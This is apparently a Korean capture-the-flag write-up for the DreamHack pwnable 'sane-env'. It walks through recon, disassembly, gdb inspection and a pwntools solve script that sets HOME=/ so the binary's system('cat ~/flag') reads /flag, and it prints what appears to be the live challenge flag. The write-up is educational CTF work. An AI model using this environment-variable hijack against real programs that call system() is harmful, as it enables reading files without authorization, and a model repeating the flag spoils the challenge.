[🥉 Bronze 4] 명령은 고정인데 경로가 흔들린다 — DreamHack sane-env 풀이

execl("/bin/sh", "sh", "-c", command, (char *) NULL);

size_t confstr(int name, char *buf, size_t len);
/* _CS_PATH (== 0) : "표준 유틸리티를 찾을 수 있다고 보장되는 PATH".
   glibc 는 "/bin:/usr/bin" 을 돌려준다. */

#!/usr/bin/env bash
# sane-env 정찰 — 파일 종류와 보호 기법
cd "$(dirname "$(readlink -f "$0")")"
file extracted/sane-env
echo
checksec --file=extracted/sane-env

./recon.sh

#!/usr/bin/env bash
# 바이너리가 직접 가진 함수와, libc 에서 끌어다 쓰는 함수를 나눠서 본다
cd "$(dirname "$(readlink -f "$0")")"
echo "[정의된 함수]"
nm extracted/sane-env | grep ' T ' | sort
echo
echo "[libc 에서 가져오는 것]"
readelf --dyn-syms -W extracted/sane-env | awk '$7 == "UND" && $8 != "" {print "  " $8}'

./syms.sh

strings -a extracted/sane-env | grep -nE "flag|PATH|/bin/sh|hack"

s|call.*<confstr@plt>|&   <-- _CS_PATH 조회(길이 → 값)|
s|call.*<malloc@plt>|&   <-- 그 길이만큼 버퍼|
s|lea .*# 2158 .*|&   <-- "PATH"|
s|call.*<setenv@plt>|&   <-- setenv("PATH", 표준경로, 1) : PATH 하이재킹 봉쇄|
s|lea .*# 2170 .*|&   <-- "cat ~/flag"|
s|call.*<system@plt>|&   <-- system("cat ~/flag")|

#!/usr/bin/env bash
# 3번 메뉴(하드코딩 system) 구간만 디스어셈블한다.
#  - annot_case3.sed 로 핵심 call 에 주석을 얹고
#  - "실패하면 puts + exit" 네 군데 오류 분기는 걷어내 흐름만 남긴다
cd "$(dirname "$(readlink -f "$0")")"
objdump -d -M intel --no-show-raw-insn \
        --start-address=0x1715 --stop-address=0x1822 extracted/sane-env \
  | tail -n +8 \
  | sed -f annot_case3.sed \
  | awk '{
      if (match($1, /^[0-9a-f]+:$/)) {
        a = strtonum("0x" substr($1, 1, length($1) - 1))
        if ((a >= 0x173a && a <= 0x174e) || (a >= 0x1773 && a <= 0x1787) ||
            (a >= 0x17ac && a <= 0x17c0) || (a >= 0x17e8 && a <= 0x17fc)) next
      }
      print
    }'

./disas_case3.sh

size_t len = confstr(_CS_PATH, NULL, 0);        /* 필요한 길이 */
char  *buf = malloc(len);
confstr(_CS_PATH, buf, len);                    /* "/bin:/usr/bin" */
setenv("PATH", buf, 1);                         /* 덮어쓰기 1 = 강제 */
free(buf);
system("cat ~/flag");

# 로컬 재현용 — 원격과 같은 조건(플래그가 /flag 에 있고, HOME 에는 없다)을 만든다.
FROM ubuntu:22.04
 
RUN useradd -m chall
RUN echo 'DH{local_dummy_flag_for_verification_only}' > /flag && chmod 644 /flag
 
COPY extracted/sane-env /home/chall/sane-env
RUN chmod +x /home/chall/sane-env
 
USER chall
WORKDIR /home/chall
ENV HOME=/home/chall
CMD ["/home/chall/sane-env"]

docker build -f Dockerfile.local -t sane-env-local .

#!/usr/bin/env bash
# HOME 은 그대로 두고 3번만 눌러 본다. 컨테이너 배치는 원격과 같다 — /flag 는 있고 홈에는 없다.
cd "$(dirname "$(readlink -f "$0")")"
printf '3\n4\n' | docker run -i --rm sane-env-local

./demo_before.sh

#!/usr/bin/env bash
# system() 이 부르는 /bin/sh 가 `~` 를 무엇으로 푸는지 직접 본다.
# env -i 로 환경을 통째로 비워 HOME 하나만 남긴다 — PATH 는 아예 없다.
echo "/bin/sh -> $(readlink -f /bin/sh)"
echo
for h in /home/chall / /tmp; do
  printf 'HOME=%-12s  ->  %s\n' "$h" "$(env -i HOME="$h" /bin/sh -c 'echo ~/flag')"
done
printf 'HOME 없음          ->  %s\n' "$(env -i /bin/sh -c 'echo ~/flag')"

./tilde_probe.sh

#!/usr/bin/env bash
# 1번으로 HOME=/ 를 심고 3번을 누른다. `cat ~/flag` 가 `cat //flag` 가 된다.
cd "$(dirname "$(readlink -f "$0")")"
printf '1\nHOME\n/\n3\n4\n' | docker run -i --rm sane-env-local

./demo_after.sh

set confirm off
set pagination off
set breakpoint pending on
set debuginfod enabled off
 
# libc 의 system 진입 순간에 멈춘다
break system
run < feed_home.txt
 
printf "\n---- system() 진입 시점 ----\n"
printf "rdi (명령 문자열) = %s\n", (char *) $rdi
printf "PATH              = %s\n", (char *) getenv("PATH")
printf "HOME              = %s\n", (char *) getenv("HOME")
printf "----------------------------\n\n"
 
continue

1
HOME
/
3
4

gdb -q -batch -iex "set debuginfod enabled off" -x runtime.gdb ./extracted/sane-env

#!/usr/bin/env python3
# sane-env (DreamHack, Bronze 4 / pwnable) — HOME 하이재킹으로 `cat ~/flag` 를 /flag 로 돌린다.
#
#   3번 메뉴는 confstr(_CS_PATH) 로 얻은 표준 PATH 를 setenv("PATH", ...) 로 덮어쓴 뒤
#   system("cat ~/flag") 를 부른다. PATH 는 막혔지만 `~` 를 푸는 건 /bin/sh 이고,
#   dash 의 틸드 확장은 오직 $HOME 만 본다. 1번 메뉴로 HOME=/ 를 심으면
#   `cat ~/flag` 가 `cat //flag` 가 되어 /flag 를 그대로 읽는다.
#
#   사용법:
#     python3 solve.py                      # 원격 (아래 HOST/PORT)
#     python3 solve.py host.dreamhack.games 12345
#     python3 solve.py local                # 로컬 검증 (Dockerfile.local 로 만든 sane-env-local)
import re
import sys
from pwn import context, process, remote
 
context.log_level = "info"
 
HOST = "host3.dreamhack.games"   # 문제 서버는 켤 때마다 바뀐다
PORT = 18361
LOCAL_IMAGE = "sane-env-local"
 
# `~` 를 이것으로 붙여 읽는다. HOME=/ → `cat //flag` → 리눅스에선 /flag 와 같다.
HOME_VALUE = "/"
 
 
def connect():
    if len(sys.argv) > 1 and sys.argv[1] == "local":
        # 로컬 검증용 컨테이너: /flag 는 있고 HOME(/home/chall) 에는 없다 — 원격과 같은 배치.
        return process(["docker", "run", "-i", "--rm", LOCAL_IMAGE])
    host = sys.argv[1] if len(sys.argv) > 1 else HOST
    port = int(sys.argv[2]) if len(sys.argv) > 2 else PORT
    return remote(host, port)
 
 
def set_env(p, name, value):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Environment variable name: ", name.encode())
    p.sendlineafter(b"Environment variable value: ", value.encode())
    p.recvuntil(b"Environment variable set!")
 
 
def run_system(p):
    p.sendlineafter(b"> ", b"3")
    return p.recvuntil(b"system() worked!", drop=True)
 
 
def main():
    p = connect()
    set_env(p, "HOME", HOME_VALUE)          # ← 여기가 전부다
    out = run_system(p).decode(errors="replace")
    print("[*] system() 출력:", out.strip())
 
    m = re.search(r"DH\{.*?\}", out)
    print("[+] FLAG:", m.group(0) if m else "(플래그 형식 없음)")
 
    p.sendlineafter(b"> ", b"4")
    p.close()
 
 
if __name__ == "__main__":
    main()

python3 solve.py local

python3 solve.py host3.dreamhack.games 18361

DH{721be0e59f169526234c4375d25705142979af803b5e8a3419e70ff07fb652ae}

#!/usr/bin/env bash
# sane-env — 한 방 재현.
#
#   ./reproduce.sh                      로컬 컨테이너 재현 (더미 flag. 진짜 flag 아님)
#   ./reproduce.sh <host> <port>        드림핵 라이브 서버 → 진짜 flag
#
# 이 문제는 flag 가 원격 /flag 에만 있어 오프라인으로는 진짜 flag 를 만들 수 없다.
# 그래서 인자 없이 돌리면 "익스가 동작한다"까지만 증명하고, 진짜 flag 대조는 인자를 줬을 때만 한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
DUMMY='DH{local_dummy_flag_for_verification_only}'
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
 
docker build -q -f Dockerfile.local -t sane-env-local .
 
if [ "$#" -ge 2 ]; then
  MODE=remote
  OUT=$(timeout 300 python3 solve.py "$1" "$2" 2>&1) || true
else
  MODE=local
  echo "※ 인자 없음 → 로컬 컨테이너로만 재현합니다(더미 flag)."
  OUT=$(timeout 300 python3 solve.py local 2>&1) || true
fi
 
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
 
if [ "$MODE" = local ]; then
  if [ "$FLAG" = "$DUMMY" ]; then
    echo; echo "✅ LOCAL PASS  HOME 하이재킹 동작 확인 ($FLAG — 로컬 더미이며 진짜 flag 가 아님)"; exit 0
  fi
  echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$DUMMY')"; exit 1
fi
 
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "✅ PASS  $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1